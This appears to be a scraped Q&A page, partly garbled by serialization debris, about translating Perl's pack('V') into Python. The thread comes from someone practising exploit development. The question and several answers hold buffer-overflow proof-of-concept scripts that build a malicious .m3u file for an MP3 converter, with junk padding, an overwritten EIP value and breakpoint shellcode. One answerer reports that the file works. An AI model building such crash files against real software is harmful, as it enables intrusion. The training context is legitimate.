blocks|key|5453323|text|尝试使用"L<"包模板而不是"V"。这在Perl和Python中都可以工作。N和V是指定字节顺序的较早的Perl方法，而<和>是较新的方法。看起来，当Python从Perl那里借用pack时，它只采用了更新、更灵活的接口。|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|5453324|编辑:+Python希望<放在类型说明符之前，而Perl希望放在后面。不太兼容:(|5453325|entityMap^0|4|4|E|3|12|1|14|1|1O|1|1Q|1|2I|4|0|C|1|0^^$0|@$1|2|3|4|5|6|7|J|8|@$9|K|A|L|B|C]|$9|M|A|N|B|C]|$9|O|A|P|B|C]|$9|Q|A|R|B|C]|$9|S|A|T|B|C]|$9|U|A|V|B|C]|$9|W|A|X|B|C]]|D|@]|E|$]]|$1|F|3|G|5|6|7|Y|8|@$9|Z|A|10|B|C]]|D|@]|E|$]]|$1|H|3|-4|5|6|7|11|8|@]|D|@]|E|$]]]|I|$]]

Try using the <code>"L&lt;"</code> pack template instead of <code>"V"</code>. This should work in Perl and Python both. <code>N</code> and <code>V</code> are an older Perl method of specifying endianness, and <code>&lt;</code> and <code>&gt;</code> are the newer method. It looks like when Python borrowed <code>pack</code> from Perl it only took the newer, more flexible interface.

Edit: Python wants the <code>&lt;</code> before the type specifier, while Perl wants it after. Not quite so compatible :(

blocks|key|5453331|text|Python的struct.pack使用第一个字符表示endianess/size+variation，然后使用一个或多个字符表示data+type。Perl的V+means+32位无符号整数/小端。|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|5453332|与Python类似的是struct.pack('<I',+0x773D10A4)。|5453333|entityMap|0|LINK|mutability|MUTABLE|url|http://docs.python.org/library/struct.html#byte-order-size-and-alignment|1|http://docs.python.org/library/struct.html#format-characters|2|http://perldoc.perl.org/functions/pack.html^0|7|B|28|1|R|O|0|1T|9|1|2A|5|2|0|B|T|0^^$0|@$1|2|3|4|5|6|7|T|8|@$9|U|A|V|B|C]|$9|W|A|X|B|C]]|D|@$9|Y|A|Z|1|10]|$9|11|A|12|1|13]|$9|14|A|15|1|16]]|E|$]]|$1|F|3|G|5|6|7|17|8|@$9|18|A|19|B|C]]|D|@]|E|$]]|$1|H|3|-4|5|6|7|1A|8|@]|D|@]|E|$]]]|I|$J|$5|K|L|M|E|$N|O]]|P|$5|K|L|M|E|$N|Q]]|R|$5|K|L|M|E|$N|S]]]]

Python's <code>struct.pack</code> uses the first character for the <a href="http://docs.python.org/library/struct.html#byte-order-size-and-alignment" rel="noreferrer">endianess/size variation</a>, and then one or more for the <a href="http://docs.python.org/library/struct.html#format-characters" rel="noreferrer">data type</a>. Perl's <code>V</code> <a href="http://perldoc.perl.org/functions/pack.html" rel="noreferrer">means</a> 32bit unsigned int/little-endian.

The Python analogue is <code>struct.pack('&lt;I', 0x773D10A4)</code>.

blocks|key|5453335|text|这正是你想要的。培训课程怎么样？|type|unstyled|depth|inlineStyleRanges|entityRanges|data|5453336|​|5453337|import+struct+

file+=+'crash.m3u'
junk+=+b'\x41'+*+26091
eip+=+struct.pack('<I',+0x1d5f23a)
preshellcode+=+b'\xcc'+*+4
shellcode+=+b'\x90'+*+25+%2B+b'\xcc'
fp+=+open(file,+'wb')
fp.write(junk+%2B+eip+%2B+preshellcode+%2B+shellcode)
fp.close()

import+binascii
print+binascii.hexlify(open(file,+'rb').read())

print+'m3u+file+is+ready'|code-block|syntax|javascript|5453338|entityMap^0|0|0|0^^$0|@$1|2|3|4|5|6|7|K|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|L|8|@]|9|@]|A|$]]|$1|D|3|E|5|F|7|M|8|@]|9|@]|A|$G|H]]|$1|I|3|-4|5|6|7|N|8|@]|9|@]|A|$]]]|J|$]]

This is exactly what you want. how about the training course?

<pre><code>import struct 

file = 'crash.m3u'
junk = b'\x41' * 26091
eip = struct.pack('&lt;I', 0x1d5f23a)
preshellcode = b'\xcc' * 4
shellcode = b'\x90' * 25 + b'\xcc'
fp = open(file, 'wb')
fp.write(junk + eip + preshellcode + shellcode)
fp.close()

import binascii
print binascii.hexlify(open(file, 'rb').read())

print 'm3u file is ready'
</code></pre>

blocks|key|5453362|text|我已经翻译成了python，并且我已经尝试了MP3转换器。这是你的答案：|type|unstyled|depth|inlineStyleRanges|entityRanges|data|5453363|import+sys
file+=+"8.m3u"
junk+=+"A"*26042
eip+=+"\X3A\XF2\XB5\X01"+//0x01B5F23A
shellcode+="+"+
shellcode+%2B=+"\x90"*25
shellcode+%2B=+"xcc"
shellcode+%2B=+"\x90"*25
tmp+=+junk+%2B+eip+%2B+shellcode
D+=+open(file,+'w')
D.write(tmp)
D.close()
print+"m3u+File+Created+successfully\n"|code-block|syntax|javascript|5453364|entityMap^0|0|0^^$0|@$1|2|3|4|5|6|7|I|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|J|8|@]|9|@]|A|$E|F]]|$1|G|3|-4|5|6|7|K|8|@]|9|@]|A|$]]]|H|$]]

i've already translated to python and i've already tried for MP3 converter. Here is your answer:

<pre><code>import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"
</code></pre>

blocks|key|5453375|text|我正在学习相同/相似的教程。对我来说完全有效的是Nick的答案。我还测试了在易受攻击的软件上创建的m3u文件。虽然我的弹性公网is地址不同，但它真的可以工作。我在linux机器上使用python+3.7.5运行它。修改后的代码如下：|type|unstyled|depth|inlineStyleRanges|entityRanges|data|5453376|import+struct

Fuzzed+=+open('Fuzzed.m3u','wb')
Fuzzed.write(b'A'+*+26072)
string+=+struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C'+*+3000)|code-block|syntax|javascript|5453377|我们需要将所有内容转换为byte对象的原因是，pack函数返回一个byte对象，而我们不能将其与字符串连接起来。同样，str(struct.pack('|5453378|string+=+b'\xA4'+%2B+b'\x10'+%2B+b'\x3D'+%2B+b'\x77'+|5453379|
|5453380|5453381|entityMap^0|0|0|0|0|0|0^^$0|@$1|2|3|4|5|6|7|P|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|Q|8|@]|9|@]|A|$E|F]]|$1|G|3|H|5|6|7|R|8|@]|9|@]|A|$]]|$1|I|3|J|5|D|7|S|8|@]|9|@]|A|$E|F]]|$1|K|3|L|5|6|7|T|8|@]|9|@]|A|$]]|$1|M|3|-4|5|6|7|U|8|@]|9|@]|A|$]]|$1|N|3|-4|5|6|7|V|8|@]|9|@]|A|$]]]|O|$]]

I was studying the same/similar tutorial. What fully worked for me is Nick's answer. I also tested the m3u file created on the vulnerable software. It really works, though my EIP address is different. I ran it using python 3.7.5 on linux machine. This is the modified code:
<pre><code>import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('&lt;I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)
</code></pre>
The reason why we need to convert everything to byte object is pack function returns a byte object and we cannot concatenate it with strings. Also str(struct.pack('&lt;I',0x773D10A4)) doesn't work either. Instead of pack you could also use 0x773D10A4.to_bytes(4, 'little'). Another way is to manually rearrange the bytes:
<pre><code>string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77' 
</code></pre>

I've been working on some exploit development recently to get ready for a training course, and I've run into a problem with a tutorial. I've been following along with all the tutorials I can find, using Python as opposed to the language the tutorials used, out of preference. I'm trying to crosscode everything, but I can't figure out how to crosscode Perl's Pack() function.

TL;DR:
I'm trying to translate this to python:

<pre><code>my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,"&gt;$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
</code></pre>

I've found Python's struct.pack() function, but when I use 

<pre><code>Fuzzed.write(struct.pack('V', 0x773D10A4))
</code></pre>

, it stops the program and doesn't work. What am I doing wrong?

This is my entire source code

<pre><code>import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
</code></pre>

Perl's Pack('V') function in Python?

翻译质量差，导致语言生硬或混乱。

没有提供实际的解决方法或示例。

解答不清晰，无法理解或解决问题。

页面排版不美观，阅读体验差。

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我最近一直在做一些漏洞开发，为一个培训课程做准备，但我在教程中遇到了一个问题。出于偏好，我一直在遵循我能找到的所有教程，使用Python，而不是教程所使用的语言。我试图对所有东西进行交叉编码，但我不知道如何对Perl的Pack()函数进行交叉编码。TL;DR:我正在尝试将其转换为python：my $file= "te...

问在Python中使用Perl的Pack('V')函数？
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